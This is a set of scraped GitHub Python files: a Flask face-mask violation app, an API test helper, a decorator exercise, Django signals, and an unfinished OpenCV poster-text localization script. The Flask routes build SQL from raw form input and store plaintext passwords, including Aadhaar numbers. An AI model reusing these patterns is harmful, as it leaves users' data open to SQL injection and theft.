d=datetime.datetime.now().strftime(\"%y%m%d-%H%M%S\")\n # f.save(\"C:\\\\Users\\\\ToShibA\\\\PycharmProjects\\\\facemask\\\\static\\\\\"+d+\".jpg\")\n f.save(r\"C:\\Users\\ToShibA\\Downloads\\facemask\\static\\\\\"+d+\".jpg\")\n path=\"/static/\"+d+\".jpg\"\n p=request.form['passw']\n cp=request.form['cpassw']\n if p==cp:\n query = \"insert into login VALUES ('','\"+email+\"','\"+p+\"','user')\"\n res=database.insert(query)\n query2=\"insert into user VALUES ('\"+str(res)+\"','\"+name+\"','\"+phone+\"','\"+email+\"','\"+gender+\"','\"+str(path)+\"')\"\n database.insert(query2)\n return ''''''\n else:\n return ''''''\n\n@app.route('/uhome')\ndef uhome():\n if session['lin'] == 'lo':\n return render_template('user/uhome.html')\n else:\n return redirect('/log')\n\n@app.route('/uprofile')\ndef uprofile():\n if session['lin'] == 'lo':\n database = Db()\n query = \"select * from user where userid='\" + str(session['lid']) + \"'\"\n result = database.selectOne(query)\n return render_template('user/view profile.html', data=result)\n else:\n return redirect('/log')\n\n@app.route('/viewmv')\ndef viewmv():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from assign_fine,fine where assign_fine.fineid=fine.fineid and assign_fine.userid='\"+str( session['lid'])+\"'\"\n result=database.select(query)\n return render_template('user/view_maskviolation.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/sc')\ndef sc():\n if session['lin'] == 'lo':\n return render_template('user/Send complaint.html')\n else:\n return redirect('/log')\n\n@app.route('/sc1',methods=['post'])\ndef sc1():\n if session['lin'] == 'lo':\n database =Db()\n c=request.form['t']\n query2=\"insert into complaint VALUES ('','\" + str(session['lid']) + \"','\"+c+\"',curdate(),'pending','')\"\n database.insert(query2)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/viewreply')\ndef viewreply():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from complaint where userid='\" + str(session['lid']) + \"'\"\n result=database.select(query)\n return render_template('user/view reply.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/adh')\ndef adh():\n if session['lin'] == 'lo':\n return render_template('user/aadhar.html')\n else:\n return redirect('/log')\n\n@app.route('/adh1',methods=['post'])\ndef adh1():\n if session['lin'] == 'lo':\n num=request.form['textfield']\n database = Db()\n qry=database.selectOne(\"select * from aadhar where userid='\"+str(session['lid'])+\"'\")\n if qry is not None:\n qry=database.update(\"update aadhar set aadhar_number='\"+num+\"' where userid='\"+str(session['lid'])+\"'\")\n return ''''''\n else:\n qry=database.insert(\"insert into aadhar values('','\"+num+\"','\" + str(session['lid']) + \"')\")\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/uviewv')\ndef uviewv():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from violation \"\n result=database.select(query)\n return render_template('user/view offence.html',data=result)\n else:\n return redirect('/log')\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"JishnuRameshC/detect_mask","sub_path":"facemask.py","file_name":"facemask.py","file_ext":"py","file_size_in_byte":14789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35990487450","text":"import json\nimport requests\nimport re\nimport os\nimport pytest\n\n\nclass KeChengApi():\n def __init__(self,s,host):\n self.host = host\n self.s = s\n def login(self,username=\"test\",password=\"123456\"):\n url1 = self.host+\"/api/v1/login\"\n body = {\n \"username\":username,\n \"password\":password\n }\n r = self.s.post(url1,json=body)\n token = r.json().get(\"token\") # 取出token\n h = {\n \"Authorization\": \"Token %s\" % token\n }\n self.s.headers.update(h) #更新头部\n return token\n\n\n\n def get_info(self):\n # 2.查询信息接口\n url2 = self.host + \"/api/v1/userinfo\"\n r2 = self.s.get(url2)\n print(r2.json())\n mail = r2.json()[\"data\"][0][\"mail\"]\n print(mail)\n return r2\n def updata_info(self,\n name=\"test\",\n sex=\"M\",\n age=\"20\",\n mail=\"283340479@qq.com\"\n ):\n # 3.修改信息个人信息\n url3 = self.host + \"/api/v1/userinfo\"\n body = {\n \"name\": name,\n \"sex\": sex,\n \"age\": age,\n \"mail\": mail\n }\n r3 = self.s.post(url3,json=body)\n print(r3.json()[\"data\"])\n return r3.json()\n\nif __name__ == '__main__':\n s = requests.session()\n host = os.environ[\"host\"]\n shilihua = KeChengApi(s,host)\n shilihua.login(username=\"test1\")\n shilihua.get_info()\n shilihua.updata_info(name=\"test1\")\n\n\n\n","repo_name":"ning-2020/xiangmu1","sub_path":"case/common_conftest.py","file_name":"common_conftest.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15578366542","text":"# Задача 2. Замедление кода 2\n#\n# Продолжаем работать с нашим старым кодом. Ранее мы уже писали декоратор,\n# который перед выполнением декорируемой функции ждёт несколько секунд.\n#\n# Модернизируйте этот декоратор так, чтобы количество секунд можно было передавать в качестве аргумента.\n# По умолчанию декоратор ждёт одну секунду.\n# Помимо этого сделайте так, чтобы декоратор можно было использовать как с аргументами, так и без них.\n\nimport time\nimport functools\nfrom collections.abc import Callable\nfrom typing import Optional\n\n\ndef sleep_with_sec(_func: Optional[Callable] = None, *, sec: int = 1):\n def decorator(func: Callable) -> Callable:\n @functools.wraps(func)\n def wrapped(*args, **kwargs):\n print(f'Ждем {sec} секунд')\n time.sleep(sec)\n return func(*args, **kwargs)\n return wrapped\n if _func is None:\n return decorator\n else:\n return decorator(_func)\n\n\n@sleep_with_sec(sec=5)\ndef some_func():\n print('Что-то происходит')\n\n\nsome_func()","repo_name":"SergeyArtuhov/skillbox-lessons","sub_path":"Python_Basic/Module29/lesson3/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17188449997","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom django.contrib.auth.models import User\nfrom .models import Customer\nfrom django.contrib.auth.models import Group\n\n@receiver(post_save, sender=User)\ndef CreateUser(sender, instance, created, **kwargs):\n if created:\n group = Group.objects.get(name='customer')\n instance.groups.add(group)\n\n Customer.objects.create(user=instance, name=instance.username, email=instance.email)\n\n username = instance.username\n\n print('Profile created for ' + username)\n\n@receiver(post_save, sender=User)\ndef UpdateUser(sender, instance, created, **kwargs):\n if created == False:\n username = instance.username\n instance.customer.save()\n print('Profile updated for ' + username)","repo_name":"rupam-seal/Pengo","sub_path":"crm/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4070600342","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThaís Donega\nLocalização de texto em Pôster\n\"\"\"\nfrom PIL import Image\nimport pytesseract as pyt\nimport cv2\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.cluster import MiniBatchKMeans\nfrom pythonRLSA import rlsa\nimport PIL.Image\nimport pillowfight\n\n#Para que o Tesseract Funcione\npyt.pytesseract.tesseract_cmd = 'C:\\\\Program Files (x86)\\\\Tesseract-OCR\\\\tesseract.exe'\n\n# Le Imagem RGB e PB. Recebe Caminho e retorna 2 matrizes (1 para RGB ImgRGB e outra Cinza ImgPB)\ndef LeImg(Img):\n ImgRGB = cv2.imread(Img)\n ImgPB = cv2.cvtColor(ImgRGB, cv2.COLOR_BGR2GRAY)\n return ImgRGB, ImgPB\n\n#Filtro Mediana para suavizar ruidos - melhor pq mantem as bordas agudas / nitidez das bordas\n#Recebe uma imagem e devolve a mesma imagem com a suavização\ndef Mediana(Img):\n Img = cv2.medianBlur(Img, 3)\n return Img\n\n#Detector de Bordas (Prewitt, Sobel e Canny)\n\n#Prewitt: Aplica Máscaras H e V na Imagem de entrada e as retorna\ndef Prewitt(Img):\n # Delimita áreas de variação abruptas de intensidade\n # Aplica Filtros derivativos de Prewitt\n PrewittH = np.array([[1, 1, 1], [0, 0, 0], [-1, -1, -1]])\n PrewittV = np.array([[1, 0, -1], [1, 0, -1], [1, 0, -1]])\n ImgPrewittH = cv2.filter2D(Img, -1, PrewittH)\n ImgPrewittV = cv2.filter2D(Img, -1, PrewittV)\n return ImgPrewittH, ImgPrewittV\n\n#Prewitt: Aplica técnica de sobel do cv2 para x e y na Imagem de entrada e as retorna\ndef Sobel(Img):\n print(\"Aplicando Filros de Sobel para X e Y - Magnitude do Gradiente (43)\")\n SobelX = cv2.Sobel(Img, cv2.CV_64F, 1, 0)\n SobelY = cv2.Sobel(Img, cv2.CV_64F, 0, 1)\n SobelX = np.uint8(abs(SobelX))\n SobelY = np.uint8(abs(SobelY))\n return SobelX, SobelY\n\ndef Canny(Img, Mag, sigma=0.3):\n print(\"Aplicando Detecção de Bordas Canny (Suavização com Gauss, Filtro de Sobel, Supressão de Não Máximos e Treshold (51)\")\n v = np.mean(Mag)\n limiar1 = 150 #int(max(0, (1.0 - sigma) * v))\n limiar2 = 200 #int(min(255, (1.0 + sigma) * v))\n # Aplica a detecção de bordas canny do openv\n Canny = cv2.Canny(Img, limiar1, limiar2)\n return Canny\n\ndef MagStrength(ImgX, ImgY):\n print(\"Cálculo da força da Magnitude do Gradiente através da 2ª derivada dos filtros aplicados\")\n ImgMag = np.zeros([ImgX.shape[0], ImgX.shape[1]])\n for x in range(ImgX.shape[0]):\n for y in range(ImgX.shape[1]):\n ImgMag[x, y] = np.sqrt(ImgX[x, y]**2 + ImgY[x, y]**2)\n return ImgMag\n\n#Calcula direção do gradiente, considerando Bordas de X e Y resultantes das detecção de bordas escolhida #GTeta(i,j) = arctan(Gy(i,j)/Gx(i,j))\ndef Teta(ImgX, ImgY):\n print(\"Cálculo da direç��o do Gradiente em Graus (0 a 90)\")\n ImgTeta = np.zeros([ImgX.shape[0], ImgX.shape[1]])\n for x in range(ImgX.shape[0]):\n for y in range(ImgX.shape[1]):\n if ImgX[x,y] != 0:\n ImgTeta[x, y] = np.arctan(ImgY[x,y] / ImgX[x,y])\n else:\n ImgTeta[x, y] = 0.0\n ImgTeta[x, y] = ImgTeta[x, y] * (180/np.pi)\n return ImgTeta\n\ndef MostraImg(texto, Img):\n cv2.imshow(texto, Img)\n cv2.waitKey(0)\n\ndef ConnectedComponents(Img):\n ImgCC = cv2.threshold(Img, 127, 255, cv2.THRESH_BINARY)[1] # ensure binary\n ret, ImgCC = cv2.connectedComponents(ImgCC)\n MakeVisible(ImgCC)\n return ImgCC\n\ndef ConnectedComponentsStats(Img):\n print(\"Cálculo dos Componentes Conectados com suas estatísticas possíveis (Top, Left, Height e Width + Pixels de borda/Área (151)\")\n ImgCC = cv2.threshold(Img, 127, 255, cv2.THRESH_BINARY)[1] # ensure binary\n nlabels, ImgCC, stats, centroids = cv2.connectedComponentsWithStats(ImgCC)\n # stats[0], centroids[0] are for the background label. ignore\n #lblareas = stats[1:, cv2.CC_STAT_AREA] #Recebe a informação de área de cada componente (exceto fundo)\n #ave = np.average(centroids[1:], axis=0, weights=lblareas) #tupla de médias dos centroids com os pesos das áreas não sei pra que serve\n ImgCC = ImgCC.astype(np.uint8)\n #MostraImg(\"ConnectedComponentsStats em RGB\", MakeVisible(ImgCC))\n #imax = max(enumerate(lblareas), key=(lambda x: x[1]))[0] +\n print(\"Total de Componentes: \", nlabels)\n return ImgCC, stats, centroids, nlabels\n\ndef CriaBoundingBoxes(stats, ImgRGB):\n print(\"Desenha os Bounding Boxes para cada Componente Conectado (163)\")\n ImgRGBCopy = ImgRGB.copy()\n ImgBB = np.zeros([ImgRGB.shape[0], ImgRGB.shape[1]])\n for c in stats[1:, :4]:\n P1 = (c[cv2.CC_STAT_LEFT], c[cv2.CC_STAT_TOP])\n P2 = (c[cv2.CC_STAT_LEFT] + c[cv2.CC_STAT_WIDTH], (c[cv2.CC_STAT_TOP] + c[cv2.CC_STAT_HEIGHT]))\n\n # desenha retângulos em torno do componente\n cv2.rectangle(ImgRGBCopy, P1, P2, (0, 255, 0), thickness = 2) #Apenas para Visualização\n cv2.rectangle(ImgBB, P1, P2, (255), thickness=2) #Contém apenas os retângulos\n\n #MostraImg(\"ImgRGB\", ImgRGBCopy) #Apenas para Vizualização: Img Colorida com os retângulos em verde\n print(\"Total de Bounding Boxes: \", stats.shape[0])\n return ImgRGBCopy\n\ndef MakeVisible(Img):\n # Map component labels to hue val\n label_hue = np.uint8(179 * Img / np.max(Img))\n blank_ch = 255 * np.ones_like(label_hue)\n labeled_img = cv2.merge([label_hue, blank_ch, blank_ch])\n # cvt to BGR for display\n labeled_img = cv2.cvtColor(labeled_img, cv2.COLOR_HSV2BGR)\n # set bg label to black\n labeled_img[label_hue == 0] = 0\n cv2.imwrite(str(path+ imagem + \" - 0ComponentesConectados\" + extensao), labeled_img)\n return labeled_img\n\ndef BBAreasSelection(stats, ImgRGB):\n print(\"Seleção para inclusão ou exclusão de cada Componente Conectado de acordo com a Área do Bounding Box (190)\")\n #Area minima: cada BB tem que ter pelo menos 20 pixels\n NovoStats = []; NovoStats.append(stats[0])\n AlturaImg = stats[0,3]; LarguraImg = stats[0,2]; AreaImg = AlturaImg*LarguraImg; MediaArea = np.mean(stats[1:, cv2.CC_STAT_HEIGHT] * stats[1:, cv2.CC_STAT_WIDTH])\n AlturaMedia = np.mean(stats[1:, cv2.CC_STAT_HEIGHT]); LarguraMedia = np.mean(stats[1:, cv2.CC_STAT_WIDTH])\n for i, CC in enumerate(stats[1:], start=1):\n Flag1 = False; Flag2 = False; Flag3 = False; Flag4 = False; Flag5 = False;\n AreaCC = CC[cv2.CC_STAT_HEIGHT] * CC[cv2.CC_STAT_WIDTH]\n DensityCC = CC[cv2.CC_STAT_AREA]; AspectRatio = CC[cv2.CC_STAT_WIDTH]/CC[cv2.CC_STAT_HEIGHT] ; Extent = AreaCC/DensityCC\n if DensityCC > 15 or AreaCC > 30: #Area do BB #Desidade dos pixels BB > 10 pixels E\n Flag1 = True\n if AreaCC < AreaImg*0.4: #Area Total BB < 40% da Img\n Flag2 = True\n if CC[cv2.CC_STAT_HEIGHT] <= AlturaImg*0.6 and CC[cv2.CC_STAT_WIDTH] <= LarguraImg*0.6: #Altura e largura do BB < 60% da altura e largura da Img\n Flag3 = True\n if CC[cv2.CC_STAT_HEIGHT] < 200 and CC[cv2.CC_STAT_WIDTH] < 150: #Tamanho máximo do BB 200H x 150W\n Flag4 = True\n #if AspectRatio > 0.2 and AspectRatio < 10.0: #Proporção de 0.5 a 10, priorizando retângulos \"em pé\"\n # Flag5 = True\n if Flag1 == True and Flag2 == True and Flag3 == True and Flag4 == True:\n NovoStats.append(CC)\n #print(\"CC, Linha, Coluna, Altura, Largura, Extent, Density, Area, Ratio: \\n\",\n # i, CC[cv2.CC_STAT_TOP], CC[cv2.CC_STAT_LEFT], CC[cv2.CC_STAT_HEIGHT], CC[cv2.CC_STAT_WIDTH],\n # Extent, DensityCC, AreaCC, AspectRatio)\n NovoStats = np.asarray(NovoStats)\n ImgRGBCopy = CriaBoundingBoxes(NovoStats, ImgRGB)\n return NovoStats, ImgRGBCopy\n\ndef BBGradientSelection(stats, ImgRGB, ImgMag, ImgTeta, ImgCC):\n print(\"Seleção para inclusão ou exclusão de cada Componente Conectado de acordo com as informações da Magnitude e Direção do Gradiente (207)\")\n NovoStats = []; MediaMag = 0;\n TreshAngle = 85 #De acordo com Liu\n NovoStats.append(stats[0])\n for i, CC in enumerate(stats[1:], start=1):\n Flag1 = False; Flag2 = False; Flag3 = False\n XMin = CC[cv2.CC_STAT_TOP]; XMax = CC[cv2.CC_STAT_TOP] + CC[cv2.CC_STAT_HEIGHT] #I inicial e final do BB\n YMin = CC[cv2.CC_STAT_LEFT]; YMax = CC[cv2.CC_STAT_LEFT] + CC[cv2.CC_STAT_WIDTH] #J inicial e final do BB\n TreshMag = LimiarM(ImgMag, ImgTeta, XMin, XMax, YMin, YMax)\n #Componente = np.min(ImgCC[XMin:XMax, YMin:YMax][np.nonzero(ImgCC[XMin:XMax, YMin:YMax])])\n for x in range (XMin, XMax):\n for y in range (YMin, YMax):\n #Media da Magnitude do gradiente dos pixels de contorno\n if ImgCC[x, y] != 0 and ImgMag[x, y] > 0: #Se for um pixel de borda e sua magnitude for > 0\n MediaMag = (MediaMag + ImgMag[x, y])/CC[cv2.CC_STAT_AREA]\n #if MediaMag < TreshMag:\n # Flag1 = True\n #Variação do Teta\n dif = np.max(ImgTeta[XMin:XMax, YMin:YMax]) - np.min(ImgTeta[XMin:XMax, YMin:YMax])\n if dif > TreshAngle:\n Flag2 = True\n #Count dos pixels de borda\n if CC[cv2.CC_STAT_AREA] > max(2 * CC[cv2.CC_STAT_HEIGHT], 2 * CC[cv2.CC_STAT_WIDTH]):\n Flag3 = True\n if Flag2 == True and Flag3 == True:\n NovoStats.append(CC)\n print(\"Componente: \", i, \"; X: \", XMin, \"; Y: \", YMin, \"-> TresholdMag: \", TreshMag, \"; MediaMag: \", MediaMag, \"; TreshAngle: \", TreshAngle,\n \"; DiferençaAngulo\", dif, \"; TreshDensity: \", max(2 * CC[cv2.CC_STAT_HEIGHT], 2 * CC[cv2.CC_STAT_WIDTH]),\n \"; Densidade: \", CC[cv2.CC_STAT_AREA])\n print(\"Flag1 = \", Flag1, \"; Flag2 = \", Flag2, \"; Flag3 = \", Flag3)\n NovoStats = np.asarray(NovoStats)\n ImgRGBCopy = CriaBoundingBoxes(NovoStats, ImgRGB)\n return NovoStats, ImgRGBCopy\n\ndef LimiarM(ImgMag, ImgTeta, XMin, XMax, YMin, YMax):\n sum1 = 0; sum2 = 1\n if YMax == ImgMag.shape[1]:\n YMax = YMax-1\n if XMax == ImgMag.shape[0]:\n XMax = XMax-1\n for x in range (XMin, XMax):\n for y in range (YMin, YMax):\n MagPI = ImgMag[x, y]\n TetaPI = ImgTeta[x, y]\n if (TetaPI > 337.5 or TetaPI < 22.5) or (TetaPI > 157.5 and TetaPI < 202.5): # Angulos próximos a 0 ou próximos a 180 - direita e esquerda\n Viz1 = ImgMag[x, y + 1]\n Viz2 = ImgMag[x, y - 1]\n elif (TetaPI > 22.5 and TetaPI < 67.5) or (TetaPI > 202.5 and TetaPI < 247.5): # Angulos próximos a 45 ou próximos a 225 - diagonal superior direita e diagonal inferior esquerda\n Viz1 = ImgMag[x - 1, y + 1]\n Viz2 = ImgMag[x + 1, y - 1]\n elif (TetaPI > 67.5 and TetaPI < 112.5) or (TetaPI > 247.5 and TetaPI < 292.5): # Angulos próximos a 90 ou próximos a 270 - Acima e Abaixo\n Viz1 = ImgMag[x - 1, y]\n Viz2 = ImgMag[x + 1, y]\n elif (TetaPI > 112.5 and TetaPI < 157.5) or (TetaPI > 292.5 and TetaPI < 337.5): # Angulos próximos a 135 ou próximos a 315 - diagonal superior esquerda e inferior direita\n Viz1 = ImgMag[x - 1, y - 1]\n Viz2 = ImgMag[x + 1, x + 1]\n # 2º condiçao: Limiar adaptativo # A magnitude de x,y deve ser maior que um Limiar M | LimiarM = sum(ImgMag(x,y) * abs(Viz1 - Viz2)) / sum(abs(Viz1 - Viz2))\n dif = np.abs(Viz1 - Viz2)\n if (dif != 0):\n sum1 = sum1 + (MagPI * dif)\n sum2 = sum2 + dif\n return (sum1 / sum2)\n\n# Recortar a imagem em 9 partes e descobrir qual o quadrante de maior magnitude média\ndef MagnitudeRegiao(Img, ImgRGB, stats, ImgCC):\n print(\"Cálculo da Região de Interesse através das médias da Magnitude do Gradiente por Região Possível (5 Horizontais e 3 Verticais) (86)\")\n altura = Img.shape[0]; largura = Img.shape[1]\n alturaA = int(altura/5); larguraL = int(largura/3)\n\n ImgQuadrantes = []\n #Fatias na Horizontal\n ImgQuadrantes.append(Img[0:alturaA, 0:largura]) #0\n ImgQuadrantes.append(Img[alturaA + 1 : alturaA * 2, 0:largura]) #1\n ImgQuadrantes.append(Img[alturaA * 2 + 1 : alturaA * 3, 0:largura]) #2\n ImgQuadrantes.append(Img[alturaA * 3 + 1: alturaA * 4, 0:largura]) #3\n ImgQuadrantes.append(Img[alturaA * 4 + 1: altura, 0:largura]) #4\n\n #Fatias na Vertical\n ImgQuadrantes.append(Img[0:altura, 0 : larguraL]) #5\n ImgQuadrantes.append(Img[0:altura, larguraL + 1 : larguraL * 2]) #6\n ImgQuadrantes.append(Img[0:altura, larguraL * 2 + 1 : largura]) #7\n\n count1 = 0; count2 = 0; count3 = 0; count3 = 0; count4 = 0; count5 = 0; count6 = 0; count7 = 0; count8 = 0;\n MediaMag1 = 0; MediaMag2 = 0; MediaMag3 = 0; MediaMag4 = 0; MediaMag5 = 0; MediaMag6 = 0; MediaMag7 = 0; MediaMag8 = 0;\n SumDensity1 = 0; SumDensity2 = 0; SumDensity2 = 0; SumDensity3 = 0; SumDensity4 = 0; SumDensity5 = 0; SumDensity6 = 0; SumDensity7 = 0; SumDensity8 = 0;\n\n for CC in stats[1:]:\n XMin = CC[cv2.CC_STAT_TOP]; XMax = CC[cv2.CC_STAT_TOP] + CC[cv2.CC_STAT_HEIGHT] # I inicial e final do BB\n YMin = CC[cv2.CC_STAT_LEFT]; YMax = CC[cv2.CC_STAT_LEFT] + CC[cv2.CC_STAT_WIDTH] # J inicial e final do BB\n if XMin < alturaA:\n count1 += 1\n MediaMag1 = MediaMag1 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity1 = SumDensity1 + CC[cv2.CC_STAT_AREA]\n elif XMin > alturaA + 1 and XMin < alturaA * 2:\n count2 += 1\n MediaMag2 = MediaMag2 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity2 = SumDensity2 + CC[cv2.CC_STAT_AREA]\n elif XMin > alturaA * 2 + 1 and XMin < alturaA * 3:\n count3 += 1\n MediaMag3 = MediaMag3 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity3 = SumDensity3 + CC[cv2.CC_STAT_AREA]\n elif XMin > alturaA * 3 + 1 and XMin < alturaA * 4:\n count4 += 1\n MediaMag4 = MediaMag4 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity4 = SumDensity4 + CC[cv2.CC_STAT_AREA]\n elif XMin > alturaA * 4 + 1:\n count5 += 1\n MediaMag5 = MediaMag5 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity5 = SumDensity5 + CC[cv2.CC_STAT_AREA]\n if YMin < larguraL:\n count6 += 1\n MediaMag6 = MediaMag6 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity6 = SumDensity6 + CC[cv2.CC_STAT_AREA]\n elif YMin > larguraL + 1 and YMin < larguraL * 2:\n count7 += 1\n MediaMag7 = MediaMag1 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity7 = SumDensity7 + CC[cv2.CC_STAT_AREA]\n elif YMin > larguraL * 2 + 1:\n count8 += 1\n MediaMag8 = MediaMag8 + np.mean(Img[XMin:XMax, YMin:YMax])\n SumDensity8 = SumDensity8 + CC[cv2.CC_STAT_AREA]\n print(\"Counts: \", count1, count2, count3, count4, count5, count6, count7, count8)\n print(\"MediasMag\", MediaMag1, MediaMag2, MediaMag3, MediaMag4, MediaMag5, MediaMag6, MediaMag7, MediaMag8)\n print(\"SumDensity\", SumDensity1, SumDensity2, SumDensity3, SumDensity4, SumDensity5, SumDensity6, SumDensity7, SumDensity8)\n Temp = [count1, count2, count3, count4, count5, count6, count7, count8]\n MaxCount = Temp.index(max(Temp))\n Temp = [MediaMag1, MediaMag2, MediaMag3, MediaMag4, MediaMag5, MediaMag6, MediaMag7, MediaMag8]\n MaxMedia = Temp.index(max(Temp))\n Temp = [SumDensity1, SumDensity2, SumDensity3, SumDensity4, SumDensity5, SumDensity6, SumDensity7, SumDensity8]\n MaxDensity = Temp.index(max(Temp))\n\n #Cria Mascara para recorte: Maior Count\n AlturaInicial, AlturaFinal, LarguraInicial, LarguraFinal = MascaraROI(MaxCount, altura, largura)\n ImgRGBCopy1 = ImgRGB.copy()\n ImgMascara1 = np.zeros([altura, largura])\n for x in range(AlturaInicial, AlturaFinal):\n for y in range(LarguraInicial, LarguraFinal):\n ImgMascara1[x, y] = 1\n\n P1 = (LarguraInicial, AlturaInicial)\n P2 = (LarguraFinal, AlturaFinal)\n # desenha retângulos em torno do componente\n cv2.rectangle(ImgRGBCopy1, P1, P2, (0, 0, 255), thickness=2) # Apenas para Visualização\n #MostraImg(\"ROI em Vermelho Para MaxCount\", ImgRGBCopy1)\n\n # Cria Mascara para recorte: Maior Media Mag\n AlturaInicial, AlturaFinal, LarguraInicial, LarguraFinal = MascaraROI(MaxMedia, altura, largura)\n ImgRGBCopy2 = ImgRGB.copy()\n ImgMascara2 = np.zeros([altura, largura])\n for x in range(AlturaInicial, AlturaFinal):\n for y in range(LarguraInicial, LarguraFinal):\n ImgMascara2[x, y] = 1\n\n P1 = (LarguraInicial, AlturaInicial)\n P2 = (LarguraFinal, AlturaFinal)\n # desenha retângulos em torno do componente\n cv2.rectangle(ImgRGBCopy2, P1, P2, (0, 0, 255), thickness=2) # Apenas para Visualização\n #MostraImg(\"ROI em Vermelho para MaxMedia\", ImgRGBCopy2)\n\n # Cria Mascara para recorte: Maior Densidade\n AlturaInicial, AlturaFinal, LarguraInicial, LarguraFinal = MascaraROI(MaxDensity, altura, largura)\n ImgRGBCopy3 = ImgRGB.copy()\n ImgMascara3 = np.zeros([altura, largura])\n for x in range(AlturaInicial, AlturaFinal):\n for y in range(LarguraInicial, LarguraFinal):\n ImgMascara3[x, y] = 1\n\n P1 = (LarguraInicial, AlturaInicial)\n P2 = (LarguraFinal, AlturaFinal)\n # desenha retângulos em torno do componente\n cv2.rectangle(ImgRGBCopy3, P1, P2, (0, 0, 255), thickness=2) # Apenas para Visualização\n #MostraImg(\"ROI em Vermelho para MaxDensity\", ImgRGBCopy3)\n\n cv2.imwrite(str(path + imagem + \" - 5BBROIMag\" + extensao), ImgRGBCopy2)\n #cv2.imwrite(str(path + imagem + \"- QuintoBBROIDensidade\" + extensao), ImgRGBCopy3)\n return(MaxCount, MaxMedia, MaxDensity)\n\ndef MascaraROI(Max, altura, largura):\n alturaA = int(altura/5); larguraL = int(largura/3)\n if Max == 0 or Max == 1 or Max == 2 or Max == 3 or Max == 4: # Horizontal\n LarguraInicial = 0; LarguraFinal = largura\n if Max == 0:\n AlturaInicial = 0; AlturaFinal = alturaA\n elif Max == 1:\n AlturaInicial = alturaA + 1; AlturaFinal = alturaA * 2\n elif Max == 2:\n AlturaInicial = alturaA * 2 + 1; AlturaFinal = alturaA * 3\n elif Max == 3:\n AlturaInicial = alturaA * 3 + 1; AlturaFinal = alturaA * 4\n else:\n AlturaInicial = alturaA * 4 + 1; AlturaFinal = altura\n else:\n AlturaInicial = 0; AlturaFinal = altura\n if Max == 5:\n LarguraInicial = 0; LarguraFinal = larguraL\n elif Max == 6:\n LarguraInicial = larguraL + 1; LarguraFinal = larguraL * 2\n else:\n LarguraInicial = larguraL * 2 + 1; LarguraFinal = largura\n\n return AlturaInicial, AlturaFinal, LarguraInicial, LarguraFinal\n\ndef RemoveInsideCCs(stats, ImgRGB):\n print(\"Remove Componentes Internos (356)\")\n NovoStats = []; NovoStats.append(stats[0])\n for i, CC in enumerate(stats[1:], start=1):\n A = CC[cv2.CC_STAT_TOP]; B = CC[cv2.CC_STAT_TOP] + CC[cv2.CC_STAT_HEIGHT] # I inicial e final do BB\n C = CC[cv2.CC_STAT_LEFT]; D = CC[cv2.CC_STAT_LEFT] + CC[cv2.CC_STAT_WIDTH] # J inicial e final do BB\n Flag = True\n for CCj in stats[1:]:\n XMin = CCj[cv2.CC_STAT_TOP]; XMax = CCj[cv2.CC_STAT_TOP] + CCj[cv2.CC_STAT_HEIGHT] # I inicial e final do BB\n YMin = CCj[cv2.CC_STAT_LEFT]; YMax = CCj[cv2.CC_STAT_LEFT] + CCj[cv2.CC_STAT_WIDTH] # J inicial e final do BB\n if A > XMin and B < XMax:\n if C > YMin and D < YMax:\n #O componente i é um componente filho e não precisa ser rastreado.\n Flag = False\n if Flag == True:\n NovoStats.append(CC)\n NovoStats = np.asarray(NovoStats)\n ImgRGBCopy = CriaBoundingBoxes(NovoStats, ImgRGB)\n return NovoStats, ImgRGBCopy\n\ndef MSER(Img):\n vis = Img.copy()\n mser = cv2.MSER_create()\n regions = mser.detectRegions(Img)\n hulls = [cv2.convexHull(p.reshape(-1, 1, 2)) for p in regions[0]]\n cv2.polylines(vis, hulls, 1, (0, 255, 0))\n mask = np.zeros((Img.shape[0], Img.shape[1], 1), dtype=np.uint8)\n for contour in hulls:\n cv2.drawContours(mask, [contour], -1, (255, 255, 255), -1)\n\n # this is used to find only text regions, remaining are ignored\n text_only = cv2.bitwise_and(Img, Img, mask=mask)\n return vis, text_only\n\ndef SWT(Img, name):\n #img_in = PIL.Image.open(name+extensao)\n img_out = pillowfight.swt(Img, output_type=pillowfight.SWT_OUTPUT_GRAYSCALE_TEXT)\n img_out.save(path+name+\" - 7SWT\"+extensao)\n\n # SWT_OUTPUT_BW_TEXT = 0 # default\n # SWT_OUTPUT_GRAYSCALE_TEXT = 1\n # SWT_OUTPUT_ORIGINAL_BOXES = 2\n #img_out = pillowfight.swt(img_in, output_type=pillowfight.SWT_OUTPUT_ORIGINAL_BOXES)\n\n\n##### =-=-=-=-=-=-=-=-=-==-=-=- MAIN =-=-=-=-=-=-===-=-=-=- ####\n#imgs = [\"ImgSimples\", \"ImgSimples2\", \"ImgSimples3\", \"SacredVisitations\", \"ImgCena1\", \"LiuImg\", \"WebBorn\"]\n#imgs = [\"ICDAR-img_1\", \"ICDAR-img_2\", \"ICDAR-Img_3\", \"ICDAR-img_9\", \"ICDAR-img_12\",\n# \"ICDAR-img_13\", \"ICDAR-img_46\", 